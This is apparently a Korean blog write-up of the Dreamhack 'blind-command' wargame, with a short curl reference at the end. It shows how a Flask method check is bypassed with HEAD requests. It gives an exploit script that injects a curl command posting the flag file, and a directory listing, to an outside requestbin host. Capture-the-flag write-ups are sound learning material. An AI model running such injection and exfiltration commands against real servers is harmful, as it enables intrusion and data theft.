security/웹해킹

[Dreamhack Wargame] blind-command + curl

민사민서 2023. 7. 1. 14:48

소스코드 분석

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET': # 이거 우회
        ''
    else:
        os.system(cmd) # 내부적으로 처리하고 끝
    return cmd

app.run(host='0.0.0.0', port=8000)

- index 페이지 접근에 있어서 허용된 method = 'GET'

- 하지만 request.method=='GET' 이면 os.system() 실행 안 된다

=> @app.route('/' , methods=['GET']) 은 통과하는 GET 이외의 HTTP 메소드를 찾아보려했다

 

- burp suite 이용, request method를 GET → OPTIONS로 바꿔서 보내보았다 (Allowed method 확인 가능)

GET, HEAD, OPTIONS 허용되어있음

HEAD method = GET 방식과 유사하지만, 응답에 BODY가 없고 헤더 정보+응답 코드만 포함된다. 이외의 모든 동작은 GET과 동일하다

requests.head() 리턴값을 출력하면
- HEAD method는 GET method가 허용되는 경우에는 반드시 허용되어야한다, Flask의 @route('/', methods=['GET']) 에서도 마찬가지로 가능하다- 하지만 request.method == 'GET' 과 같은 비교구문은 참이 아니다!! (취약점?)

 

exploit 방향

os.system(cmd)를 실행해도 화면에 출력 불가능...Request bin (가상서버)에 HTTP 요청을 날리고 그 body에 데이터 값 담아서 보내면 되겠다!!

 

exploit 코드

import requests

url = 'http://host3.dreamhack.games:11734/?cmd='
cmd = 'curl -X POST -d @flag.py https://enxwjzutdp9e.x.pipedream.net'
c = requests.head(url+cmd)

print(c.headers)

파일이름 추측이 힘들어서 ls > res.txt; curl -X POST -d @res.txt <url> 로 먼저 ls 결과를 출력하고

플래그 출력!

 

Curl 명령어 정리

커맨드라인에서 REST API 요청을 보내는 가장 보편적인 방법 = cURL

$ sudo apt-get install curl

옵션

  • -X: 요청 메소드를 지정 (옵션 없으면 기본값은 GET)
  • -H: 요청 헤더를 지정
  • -d: 요청 본문을 지정 (옵션 없으면 요청 본문 없음)
$ curl -X GET http://127.0.0.1:3000/api/users/bakyeono
$ curl -X POST http://127.0.0.1:3000/api/languages/ansi-common-lisp
$ curl -X PUT http://127.0.0.1:3000/api/resources/1789

 -d, --data 옵션을 이용해서 데이터를 보낼 수 있다. 혹은 파일의 내용을 POST 데이터로 보낼 수도 있다. 파일을 읽어서 body로 보낼 경우 -d @filename 하면 된다.

curl -X POST http://192.168.57.3:5984/mywiki/ -d @curl.json -H "Content-Type: application/json"